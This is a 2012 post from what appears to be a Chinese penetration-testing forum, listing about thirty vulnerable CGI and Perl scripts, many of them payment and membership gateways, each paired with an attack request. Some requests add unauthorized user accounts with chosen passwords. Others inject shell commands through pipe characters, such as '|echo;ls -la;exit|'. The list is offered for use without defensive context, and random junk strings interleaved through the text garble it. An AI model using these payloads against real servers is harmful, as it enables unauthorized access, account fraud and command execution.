中国网络渗透测试联盟
标题:
Cgi-bin 30个漏洞＋使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:55
标题:
Cgi-bin 30个漏洞＋使用方法
==============================
( R. B; T; K9 `$ N( n
6 {% w! i& O7 F. Z" f7 q, t- g
/smspass.pl
7 i) V8 ?3 \7 {! I1 p* L* {8 X
username=username&password=password
2 @" \" |- ^8 |1 Y* k* S
* s+ ?: x1 q* K
/index.cgi
2 D: j2 M, S' O% Z3 I4 K6 P* X- P
wei=ren&gen=command
% H& Y4 o& W/ {& y
* z! G3 [, ?3 J; _5 m
/passmaster.cgi
) f* Z3 T* f% U# T
Action=Add&Username=Username&Password=Password
X& @: p) \% Z! v, o0 @
6 O) G2 a1 {% e8 o) l9 w6 b8 E
/accountcreate.cgi
% q3 T4 c0 o- ~
username=username&password=password&ref1=|echo;ls|
, p* J/ n3 E4 A4 Y+ h
# G! S0 J) F5 T# V* @+ Y
/form.cgi
) |* L# S* j2 v/ |6 @: Z
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
! o v( @- F4 M* Y+ K
6 L1 m9 ~$ N9 e6 A+ W- {
/addusr.pl
' t9 O( \3 i, H- W# V" p
/cgi-bin/EuroDebit/addusr.pl
' H9 j7 @0 F! ?3 V/ K# N9 `
user=username&pass=Password&confirm=Password
: N& P& t, }& Y; L h( }/ Z$ V
5 X8 i8 R @5 ~- ?9 n( B$ \
/ccbill-local.asp
3 v8 T* o8 M2 T4 b0 W; G
post_values=username:password
: j3 R$ T% K: d" @' @! A$ b
6 [. d: d/ g- ]3 C% L1 Q5 u
/count.cgi
0 ^4 x1 J4 g9 A& }% H, ?6 A
pinfile=|echo;ls -la;exit|
. R/ R. u0 u4 k" n
2 X8 z" d! v0 C" P/ E( n8 z2 W# a
/recon.cgi
, R0 x9 T P* \8 T" I2 _! o% {
/recon.cgi?search
7 D* P, e: k# a; [! |7 m) Z
searchoption=1&searchfor=|echo;ls -al;exit|
- ?3 V4 z- C; q9 g0 U
) J- y7 I2 {+ Y$ q# i
/verotelrum.pl
+ X: ]% S, b* J
vercode=username:password:dseegsow:add:amount<&30>
5 \- ]% Q% |4 n9 }
" v1 b$ k+ L, G2 O, G4 r; @' H
/af.cgi
N0 T/ P- O# x( _: F( h5 \; f
_browser_out=|echo;ls -la;exit;|
. M3 U+ o) X* ]5 R# q% T8 C p9 {
) n6 ]4 r9 Q+ _* f6 A
/modify.cgi
& Y/ S# A; F/ v1 n v5 ?
username=username&password=password&expire=30
/ Q: C9 S0 j" L
$ H% W/ q: }1 S$ ~6 _1 b+ w
/openjournal.cgi
* N% O& A6 P/ O; [8 X- K G
edit=1&ct=2&go=|echo;ls -al;exit|
$ q4 ?7 w* E G# f9 o* k5 q# l8 \
( v; i% `8 e( [; k; k
/gx9passwd.cgi
! W2 [* x7 f* q) r& G
cmd=ADD&user=username&pass=password
. h5 V! x9 n. a" I6 ]9 J
; j' m8 k+ R9 A
/probecontrol.cgi
& f$ Z6 B. s. X! l& p
command=enable&username=username&password=password
& ~0 z; G5 J) f P* N1 p @# S
2 O4 s+ n6 c( {8 G5 |
/recon.cgi
8 \1 H8 l/ r( t, R: \1 u
searchoption=3&searchfor=echo;ls -la;exit
2 g0 j6 ~; N! y
$ N# |7 U8 J% _% ~# {
/htadd.pl
( O# c( l2 B! ~0 C. T$ ~/ a4 ?
configfile=|echo; ls -alt; exit
9 F3 D0 O4 J3 i, F0 t
9 V. N) D6 K1 t3 Y; c: K
/gx9passwd.cgi
3 z$ v, L1 ^( m$ g* p
cmd=ADD&user=username&pass=password
& G5 j N3 C; V8 J6 v# q
! z) k% O/ G4 ?- r
/ibill*.pl
' E9 S8 a6 @& \, G3 ~$ P* S- \
reqtype=add&authpwd=authpwd&username=username&password=password
) V8 T6 G, O$ v; h. `* m9 E% N
" O# A2 x& Y; J, ?. r
/cpay.cgi
( L; a( ?3 I) d/ c
command=add_member&username=username(EMAIL)&password=password(DES)
8 X1 m. ?) _# V3 O
4 u: F8 t) `. y9 k
/globill_ut.cgi
i4 M, a3 B1 P
do=add&username=username&password=password&wpassword=password
' d) f% ?" O v' F
8 M& R* J4 G1 _* s- B
/usercontrol.cgi
3 L' E- t; N" X# S: \) J" F" W
command=enable&username=USER&password=PASS
$ ?1 D3 d9 T5 o l1 F! k9 P n4 R/ K
' i+ X5 h) R- p- W
/globoSALErum.cgi
`, ^9 G: K1 q+ G
action=ADD&seccode=seccode&login=username&password=password
$ ^) E+ @+ G# ~% M* ~
# D# j6 \( w, T; O" e. Z! t
/addusr.pl
% J: C, A+ t* B# E3 I
user=USER&pass=PASS&confirm=PASS
/ j7 w) q' {" d; O
# S5 V. \7 A) H' x" w0 a7 w) n$ P1 I
/pincount.cgi
. f! K1 d% h0 T
/cgi-bin/mastergate/pincount.cgi
1 |) m0 V8 m5 S; T4 R9 I5 l
pinfile=|echo;pwd;exit|
/ p9 T+ i) [% o: d; X" `8 K% J: H
- G+ ^0 y8 C# J7 G( T6 Q5 J
/accountcreate.cgi
2 c; T1 b9 @5 l* I2 \% V
/cgi-bin/gateway/accountcreate.cgi
* F4 X2 v& b$ j. m- Y
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
+ h- g T8 Z1 Q
9 a* a6 `0 S9 R( D7 F! ]; v
/af.cgi
0 w( A5 L, @( B8 k, o- G1 r7 L8 {
/env.cgi
$ y9 y" k' @( {1 c4 p3 c" }
ADD+;echo;pwd;exit
, r" o$ A+ g* V4 V1 V* f- D
% B- m6 K) q6 C8 `6 a, [
/count.cgi
4 q! S1 I- a, r% ~4 w& o+ Y; O1 n6 ?
pinfile=|echo;pwd;exit|
" y1 v- T" J ~6 w: I
: I- r" l ~4 ?3 ]. d3 Y3 p5 B
/recon.cgi
* q" l. r+ ?6 P5 [) g# b
searchoption=1&searchfor=|echo;ls%20-al;exit|
8 N" ?8 D! }' F
2 d! R% M, }5 G9 O: e1 S
/add.cgi
3 P( ]6 L1 K9 \1 x
username=username&password=password&expire=30
; e, ?# B/ G% Z4 o# p1 N
. B' J9 L s9 g5 y1 V' K& p
==============================
$ k' f" S( ~0 ^, a6 Q/ L% ^
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2